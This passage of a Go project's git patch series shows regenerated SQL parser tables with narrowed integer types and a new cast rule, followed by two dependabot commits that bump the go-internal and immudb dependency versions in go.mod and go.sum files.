-2, -3, -4, -5, -6, 26, 28, 29, 4, 5, 19, 30, 31, 34, 35, -7, 40, -57, - 86, 27, 6, 15, 17, 16, 70, 6, 7, 15, - 32, 32, 42, -27, 70, 54, -24, 41, -2, -50, - 58, -50, -50, 17, 70, -28, -29, 8, 9, 70, - -27, -27, -27, 36, -25, 55, -21, 83, -22, -20, - -23, 77, 70, 70, 56, 70, 18, -50, -30, 11, - 10, -31, 12, -36, -39, -40, 56, 82, 59, -20, - -18, 87, 72, 73, 74, 75, 76, 64, -19, 65, - 66, 63, 70, -31, 20, 21, 87, 87, -37, 45, - -55, -54, 70, -6, 42, 80, -45, 70, 53, 87, - 79, 59, 87, 70, 18, -31, -31, -36, 81, 82, - 84, 83, 68, 69, 61, -53, 56, -36, -36, 87, - -36, 87, 87, 23, 23, -12, -10, 70, -10, -49, - 5, -36, -37, 80, 69, -26, -27, 87, -19, 70, - -20, 70, 83, -23, 70, -8, -9, 70, 87, 70, - -36, -36, -36, -36, -36, -36, 63, 56, 57, 60, - -6, 88, -36, -17, -16, -36, -9, 70, 88, 80, - 88, -42, 48, 17, -49, -54, -36, -49, -28, -6, - -45, -45, 88, 88, 80, 71, -10, 87, 63, -36, - 87, 88, 53, 88, 80, 22, 33, 70, 33, -43, - 49, -36, 18, -42, -32, -33, -34, -35, 67, -45, - 88, 24, -9, -44, 89, 88, -10, -6, -16, 71, - -36, 70, -14, -15, 87, -14, -36, -11, 70, 87, - -43, -37, -33, 43, -45, 25, -52, 63, 56, 72, - 88, 88, 88, 88, -56, 80, 18, -17, -10, -41, - 46, -26, -11, -51, 62, 63, 90, -15, 37, 88, - 88, -38, 44, 47, -49, 88, 38, -47, 50, -36, - -13, -23, 18, 39, -42, 47, 80, -36, -43, -46, - -23, -23, 80, -48, 51, 52, -23, -48, + 87, 27, 6, 15, 17, 16, 71, 6, 7, 15, + 32, 32, 42, -27, 71, 54, -24, 41, -2, -50, + 58, -50, -50, 17, 71, -28, -29, 8, 9, 71, + -27, -27, -27, 36, -25, 55, -21, 84, -22, -20, + -23, 78, 71, 71, 56, 71, 18, -50, -30, 11, + 10, -31, 12, -36, -39, -40, 56, 83, 59, -20, + -18, 88, 73, 74, 75, 76, 77, 64, -19, 66, + 67, 63, 71, -31, 20, 21, 88, 88, -37, 45, + -55, -54, 71, -6, 42, 81, -45, 71, 53, 88, + 80, 59, 88, 71, 18, -31, -31, -36, 82, 83, + 85, 84, 69, 70, 61, -53, 65, 56, -36, -36, + 88, -36, 88, 88, 23, 23, -12, -10, 71, -10, + -49, 5, -36, -37, 81, 70, -26, -27, 88, -19, + 71, -20, 71, 84, -23, 71, -8, -9, 71, 88, + 71, -36, -36, -36, -36, -36, -36, 63, 56, 57, + 60, 72, -6, 89, -36, -17, -16, -36, -9, 71, + 89, 81, 89, -42, 48, 17, -49, -54, -36, -49, + -28, -6, -45, -45, 89, 89, 81, 72, -10, 88, + 63, -36, 88, 89, 53, 89, 81, 22, 33, 71, + 33, -43, 49, -36, 18, -42, -32, -33, -34, -35, + 68, -45, 89, 24, -9, -44, 90, 89, -10, -6, + -16, 72, -36, 71, -14, -15, 88, -14, -36, -11, + 71, 88, -43, -37, -33, 43, -45, 25, -52, 63, + 56, 73, 89, 89, 89, 89, -56, 81, 18, -17, + -10, -41, 46, -26, -11, -51, 62, 63, 91, -15, + 37, 89, 89, -38, 44, 47, -49, 89, 38, -47, + 50, -36, -13, -23, 18, 39, -42, 47, 81, -36, + -43, -46, -23, -23, 81, -48, 51, 52, -23, -48, } -var yyDef = [...]int{ +var yyDef = [...]int16{ 0, -2, 1, 4, 6, 7, 8, 10, 11, 12, 0, 0, 0, 0, 0, 0, 0, 69, 74, 2, 5, 9, 22, 22, 22, 0, 14, 0, 90, 0, @@ -417,40 +419,40 @@ var yyDef = [...]int{ 56, 57, 83, 92, 0, 0, 35, 0, 117, 0, 105, 32, 0, 70, 0, 0, 78, 125, 0, 0, 0, 23, 0, 0, 0, 94, 95, 96, 0, 0, - 0, 0, 0, 0, 0, 0, 139, 129, 130, 0, - 0, 0, 44, 0, 0, 0, 36, 40, 0, 111, - 0, 106, 117, 0, 0, 117, 90, 0, 124, 88, - 124, 126, 0, 0, 84, 0, 59, 0, 0, 0, - 140, 141, 142, 143, 144, 145, 146, 0, 0, 0, - 0, 137, 0, 0, 45, 46, 20, 0, 0, 0, - 0, 113, 0, 0, 111, 33, 34, -2, 124, 0, - 87, 79, 81, 82, 0, 62, 0, 0, 147, 131, - 0, 132, 0, 58, 0, 0, 0, 41, 0, 28, - 0, 112, 0, 113, 105, 99, -2, 0, 104, 85, - 124, 0, 60, 66, 0, 18, 0, 0, 0, 0, - 47, 21, 30, 37, 44, 27, 114, 118, 24, 0, - 29, 107, 101, 0, 86, 0, 64, 67, 0, 0, - 19, 133, 134, 53, 26, 0, 0, 0, 0, 109, - 0, 117, 0, 61, 65, 68, 63, 38, 0, 39, - 25, 115, 0, 0, 0, 17, 0, 111, 0, 110, - 108, 42, 0, 31, 113, 0, 0, 102, 71, 116, - 121, 43, 0, 119, 122, 123, 121, 120, + 0, 0, 0, 0, 0, 0, 0, 140, 129, 130, + 0, 0, 0, 44, 0, 0, 0, 36, 40, 0, + 111, 0, 106, 117, 0, 0, 117, 90, 0, 124, + 88, 124, 126, 0, 0, 84, 0, 59, 0, 0, + 0, 141, 142, 143, 144, 145, 146, 147, 0, 0, + 0, 138, 0, 137, 0, 0, 45, 46, 20, 0, + 0, 0, 0, 113, 0, 0, 111, 33, 34, -2, + 124, 0, 87, 79, 81, 82, 0, 62, 0, 0, + 148, 131, 0, 132, 0, 58, 0, 0, 0, 41, + 0, 28, 0, 112, 0, 113, 105, 99, -2, 0, + 104, 85, 124, 0, 60, 66, 0, 18, 0, 0, + 0, 0, 47, 21, 30, 37, 44, 27, 114, 118, + 24, 0, 29, 107, 101, 0, 86, 0, 64, 67, + 0, 0, 19, 133, 134, 53, 26, 0, 0, 0, + 0, 109, 0, 117, 0, 61, 65, 68, 63, 38, + 0, 39, 25, 115, 0, 0, 0, 17, 0, 111, + 0, 110, 108, 42, 0, 31, 113, 0, 0, 102, + 71, 116, 121, 43, 0, 119, 122, 123, 121, 120, } -var yyTok1 = [...]int{ +var yyTok1 = [...]int8{ 1, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 87, 88, 83, 81, 80, 82, 85, 84, 3, 3, + 88, 89, 84, 82, 81, 83, 86, 85, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 89, 3, 90, + 3, 90, 3, 91, } -var yyTok2 = [...]int{ +var yyTok2 = [...]int8{ 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, @@ -458,10 +460,10 @@ var yyTok2 = [...]int{ 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, - 72, 73, 74, 75, 76, 77, 78, 79, 86, + 72, 73, 74, 75, 76, 77, 78, 79, 80, 87, } -var yyTok3 = [...]int{ +var yyTok3 = [...]int8{ 0, } @@ -541,9 +543,9 @@ func yyErrorMessage(state, lookAhead int) string { expected := make([]int, 0, 4) // Look for shiftable tokens. - base := yyPact[state] + base := int(yyPact[state]) for tok := TOKSTART; tok-1 < len(yyToknames); tok++ { - if n := base + tok; n >= 0 && n < yyLast && yyChk[yyAct[n]] == tok { + if n := base + tok; n >= 0 && n < yyLast && int(yyChk[int(yyAct[n])]) == tok { if len(expected) == cap(expected) { return res } @@ -553,13 +555,13 @@ func yyErrorMessage(state, lookAhead int) string { if yyDef[state] == -2 { i := 0 - for yyExca[i] != -1 || yyExca[i+1] != state { + for yyExca[i] != -1 || int(yyExca[i+1]) != state { i += 2 } // Look for tokens that we accept or reduce. for i += 2; yyExca[i] >= 0; i += 2 { - tok := yyExca[i] + tok := int(yyExca[i]) if tok < TOKSTART || yyExca[i+1] == 0 { continue } @@ -590,30 +592,30 @@ func yylex1(lex yyLexer, lval *yySymType) (char, token int) { token = 0 char = lex.Lex(lval) if char <= 0 { - token = yyTok1[0] + token = int(yyTok1[0]) goto out } if char < len(yyTok1) { - token = yyTok1[char] + token = int(yyTok1[char]) goto out } if char >= yyPrivate { if char < yyPrivate+len(yyTok2) { - token = yyTok2[char-yyPrivate] + token = int(yyTok2[char-yyPrivate]) goto out } } for i := 0; i < len(yyTok3); i += 2 { - token = yyTok3[i+0] + token = int(yyTok3[i+0]) if token == char { - token = yyTok3[i+1] + token = int(yyTok3[i+1]) goto out } } out: if token == 0 { - token = yyTok2[1] /* unknown char */ + token = int(yyTok2[1]) /* unknown char */ } if yyDebug >= 3 { __yyfmt__.Printf("lex %s(%d)\n", yyTokname(token), uint(char)) @@ -668,7 +670,7 @@ yystack: yyS[yyp].yys = yystate yynewstate: - yyn = yyPact[yystate] + yyn = int(yyPact[yystate]) if yyn <= yyFlag { goto yydefault /* simple state */ } @@ -679,8 +681,8 @@ yynewstate: if yyn < 0 || yyn >= yyLast { goto yydefault } - yyn = yyAct[yyn] - if yyChk[yyn] == yytoken { /* valid shift */ + yyn = int(yyAct[yyn]) + if int(yyChk[yyn]) == yytoken { /* valid shift */ yyrcvr.char = -1 yytoken = -1 yyVAL = yyrcvr.lval @@ -693,7 +695,7 @@ yynewstate: yydefault: /* default state action */ - yyn = yyDef[yystate] + yyn = int(yyDef[yystate]) if yyn == -2 { if yyrcvr.char < 0 { yyrcvr.char, yytoken = yylex1(yylex, &yyrcvr.lval) @@ -702,18 +704,18 @@ yydefault: /* look through exception table */ xi := 0 for { - if yyExca[xi+0] == -1 && yyExca[xi+1] == yystate { + if yyExca[xi+0] == -1 && int(yyExca[xi+1]) == yystate { break } xi += 2 } for xi += 2; ; xi += 2 { - yyn = yyExca[xi+0] + yyn = int(yyExca[xi+0]) if yyn < 0 || yyn == yytoken { break } } - yyn = yyExca[xi+1] + yyn = int(yyExca[xi+1]) if yyn < 0 { goto ret0 } @@ -735,10 +737,10 @@ yydefault: /* find a state where "error" is a legal shift action */ for yyp >= 0 { - yyn = yyPact[yyS[yyp].yys] + yyErrCode + yyn = int(yyPact[yyS[yyp].yys]) + yyErrCode if yyn >= 0 && yyn < yyLast { - yystate = yyAct[yyn] /* simulate a shift of "error" */ - if yyChk[yystate] == yyErrCode { + yystate = int(yyAct[yyn]) /* simulate a shift of "error" */ + if int(yyChk[yystate]) == yyErrCode { goto yystack } } @@ -774,7 +776,7 @@ yydefault: yypt := yyp _ = yypt // guard against "declared and not used" - yyp -= yyR2[yyn] + yyp -= int(yyR2[yyn]) // yyp is now the index of $0. Perform the default action. Iff the // reduced production is ε, $1 is possibly out of range. if yyp+1 >= len(yyS) { @@ -785,16 +787,16 @@ yydefault: yyVAL = yyS[yyp+1] /* consult goto table to find next state */ - yyn = yyR1[yyn] - yyg := yyPgo[yyn] + yyn = int(yyR1[yyn]) + yyg := int(yyPgo[yyn]) yyj := yyg + yyS[yyp].yys + 1 if yyj >= yyLast { - yystate = yyAct[yyg] + yystate = int(yyAct[yyg]) } else { - yystate = yyAct[yyj] - if yyChk[yystate] != -yyn { - yystate = yyAct[yyg] + yystate = int(yyAct[yyj]) + if int(yyChk[yystate]) != -yyn { + yystate = int(yyAct[yyg]) } } // dummy call; replaced with literal code @@ -1487,51 +1489,56 @@ yydefault: yyVAL.exp = yyDollar[2].exp } case 138: + yyDollar = yyS[yypt-3 : yypt+1] + { + yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} + } + case 139: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 139: + case 140: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 140: + case 141: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 141: + case 142: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 142: + case 143: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 143: + case 144: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 144: + case 145: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: yyDollar[2].logicOp, right: yyDollar[3].exp} } - case 145: + case 146: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 146: + case 147: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 147: + case 148: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} From 5a8da1e0cf9144ab18a71385038323c3403d41b7 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 17 Mar 2023 10:42:51 +0000 Subject: [PATCH 0367/1062] chore(deps): bump github.com/rogpeppe/go-internal from 1.8.0 to 1.9.0 Bumps [github.com/rogpeppe/go-internal](https://github.com/rogpeppe/go-internal) from 1.8.0 to 1.9.0. - [Release notes](https://github.com/rogpeppe/go-internal/releases) - [Commits](https://github.com/rogpeppe/go-internal/compare/v1.8.0...v1.9.0) --- updated-dependencies: - dependency-name: github.com/rogpeppe/go-internal dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/go.mod b/go.mod index 05ad61e068..52d462763f 100644 --- a/go.mod +++ b/go.mod @@ -24,7 +24,7 @@ require ( github.com/prometheus/procfs v0.7.3 github.com/pseudomuto/protoc-gen-doc v1.4.1 github.com/rakyll/statik v0.1.7 - github.com/rogpeppe/go-internal v1.8.0 + github.com/rogpeppe/go-internal v1.9.0 github.com/rs/xid v1.3.0 github.com/schollz/progressbar/v2 v2.15.0 github.com/spf13/cobra v1.2.1 diff --git a/go.sum b/go.sum index 45d752e9ae..2f067533be 100644 --- a/go.sum +++ b/go.sum @@ -580,8 +580,8 @@ github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6So github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= -github.com/rogpeppe/go-internal v1.8.0 h1:FCbCCtXNOY3UtUuHUYaghJg4y7Fd14rXifAYUAtL9R8= -github.com/rogpeppe/go-internal v1.8.0/go.mod h1:WmiCO8CzOY8rg0OYDC4/i/2WRWAB6poM+XZ2dLUbcbE= +github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= +github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ= github.com/rs/xid v1.3.0 h1:6NjYksEUlhurdVehpc7S7dk6DAmcKv8V9gG0FsVN2U4= github.com/rs/xid v1.3.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= From 66137bf306e6b252dfe266fdfb6a84840e1cc02d Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 17 Mar 2023 10:42:59 +0000 Subject: [PATCH 0368/1062] chore(deps): bump github.com/codenotary/immudb Bumps [github.com/codenotary/immudb](https://github.com/codenotary/immudb) from 1.3.2 to 1.4.1. - [Release notes](https://github.com/codenotary/immudb/releases) - [Changelog](https://github.com/codenotary/immudb/blob/master/CHANGELOG.md) - [Commits](https://github.com/codenotary/immudb/compare/v1.3.2...v1.4.1) --- updated-dependencies: - dependency-name: github.com/codenotary/immudb dependency-type: direct:production ... Signed-off-by: dependabot[bot] --- .../vulnerabilities/linear-fake/go/go.mod | 2 +- .../vulnerabilities/linear-fake/go/go.sum | 55 ++++++++++++++++++- 2 files changed, 54 insertions(+), 3 deletions(-) diff --git a/docs/security/vulnerabilities/linear-fake/go/go.mod b/docs/security/vulnerabilities/linear-fake/go/go.mod index bb46336450..1eb376ae42 100644 --- a/docs/security/vulnerabilities/linear-fake/go/go.mod +++ b/docs/security/vulnerabilities/linear-fake/go/go.mod @@ -2,7 +2,7 @@ module linear-fake go 1.19 -require github.com/codenotary/immudb v1.3.2 +require github.com/codenotary/immudb v1.4.1 require ( github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da // indirect diff --git a/docs/security/vulnerabilities/linear-fake/go/go.sum b/docs/security/vulnerabilities/linear-fake/go/go.sum index 555b2ae807..cfde079164 100644 --- a/docs/security/vulnerabilities/linear-fake/go/go.sum +++ b/docs/security/vulnerabilities/linear-fake/go/go.sum @@ -55,6 +55,7 @@ cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RX cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= cloud.google.com/go/storage v1.14.0/go.mod h1:GrKmX003DSIwi9o29oFT7YDnHYwZoctc3fOKtUw0Xmo= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= +github.com/Azure/go-ansiterm v0.0.0-20170929234023-d6e3b3328b78/go.mod h1:LmzpDX56iTiv29bbRTIsUNlaFfuhWRQBWjQdVyAevI8= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ= @@ -64,6 +65,8 @@ github.com/Masterminds/semver v1.5.0/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF0 github.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs= github.com/Masterminds/sprig v2.15.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= github.com/Masterminds/sprig v2.22.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= +github.com/Microsoft/go-winio v0.5.2/go.mod h1:WpS1mjBmmwHBEWmogvA2mj8546UReBk4v8QkMxJ6pZY= +github.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5/go.mod h1:lmUJ/7eu/Q8D7ML55dXQrVaamCz2vxCfdQBasLZfHKk= github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da h1:KjTM2ks9d14ZYCvmHS9iAKVt9AyzRSqNU1qabPih5BY= github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da/go.mod h1:eHEWzANqSiWQsof+nXEI9bUVUyV6F53Fp89EuCh2EAA= @@ -91,14 +94,17 @@ github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= github.com/bketelsen/crypt v0.0.4/go.mod h1:aI6NrJ0pMGgvZKL1iVgXLnfIFJtfV+bKCoqOes/6LfM= +github.com/cenkalti/backoff/v4 v4.1.3/go.mod h1:scbssz8iZGpm3xbr14ovlUdkxfGXNInqkPWOWmG2CLw= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cespare/xxhash/v2 v2.1.2 h1:YRXhKfTDauu4ajMg1TPgFO5jnlC2HCbmLXMcTG5cbYE= github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/checkpoint-restore/go-criu/v5 v5.3.0/go.mod h1:E/eQpaFtUKGOOSEBZgmKAcn+zUUwWxqcaKZlF54wK8E= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= +github.com/cilium/ebpf v0.7.0/go.mod h1:/oI2+1shJiTGAMgl6/RgJr36Eo1jzrRcAWbcXO2usCA= github.com/circonus-labs/circonus-gometrics v2.3.1+incompatible/go.mod h1:nmEj6Dob7S7YxXgwXpfOuvO54S+tGdZdw9fuRZt25Ag= github.com/circonus-labs/circonusllhist v0.1.3/go.mod h1:kMXHVDlOchFAehlya5ePtbp5jckzBHf4XRpQvBOLI+I= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= @@ -112,8 +118,10 @@ github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWH github.com/cncf/xds/go v0.0.0-20211001041855-01bcc9b48dfe/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ= -github.com/codenotary/immudb v1.3.2 h1:+BFEBGfbNEb383/kgp7cuxSxG16wdotQyWn93pEQyg8= -github.com/codenotary/immudb v1.3.2/go.mod h1:rDId/mTSZtEF9f6SOJXNvwh1MsL/J69AAti0Q4bRok4= +github.com/codenotary/immudb v1.4.1 h1:ChMYZULvUQ1JPpzAj84ZkhkpC8Zv/70x6NwRI/dYn+M= +github.com/codenotary/immudb v1.4.1/go.mod h1:TBSnyZYdbWf8xaJ3N2YWkpXWyAxtHvpxsjlHvrvXt6Y= +github.com/containerd/console v1.0.3/go.mod h1:7LqA/THxQ86k76b8c/EMSiaJ3h1eZkMkXar0TQ1gf3U= +github.com/containerd/continuity v0.3.0/go.mod h1:wJEAIwKOm/pBZuBd0JmeTvnLquTB1Ag8espWhkykbPM= github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= @@ -122,9 +130,12 @@ github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7 github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= +github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY= github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= +github.com/creack/pty v1.1.11/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= +github.com/cyphar/filepath-securejoin v0.2.3/go.mod h1:aPGpWjXOXUn2NCNjFvBE6aRxGGx79pTxQpKOJNYHHl4= github.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= @@ -134,6 +145,10 @@ github.com/dgraph-io/ristretto v0.0.2/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70d github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= +github.com/docker/cli v20.10.14+incompatible/go.mod h1:JLrzqnKDaYBop7H2jaqPtU4hHvMKP+vjCwu2uszcLI8= +github.com/docker/docker v20.10.7+incompatible/go.mod h1:eEKB0N0r5NX/I1kEveEz05bcu8tLC/8azJZsviup8Sk= +github.com/docker/go-connections v0.4.0/go.mod h1:Gbd7IOopHjR8Iph03tsViu4nIes5XhDvyHbTtUxmeec= +github.com/docker/go-units v0.4.0/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk= github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= @@ -149,6 +164,7 @@ github.com/envoyproxy/protoc-gen-validate v0.3.0-java/go.mod h1:iSmxcyjqTsJpI2R4 github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= +github.com/frankban/quicktest v1.11.3/go.mod h1:wRf/ReqHper53s+kmmSZizM8NamnL3IM0I9ntUbOk+k= github.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3ZUKE= github.com/frankban/quicktest v1.14.3/go.mod h1:mgiwOwqx65TmIk1wJ6Q7wvnVMocbUorkibMOrVTHZps= github.com/fsnotify/fsnotify v1.4.7/go.mod 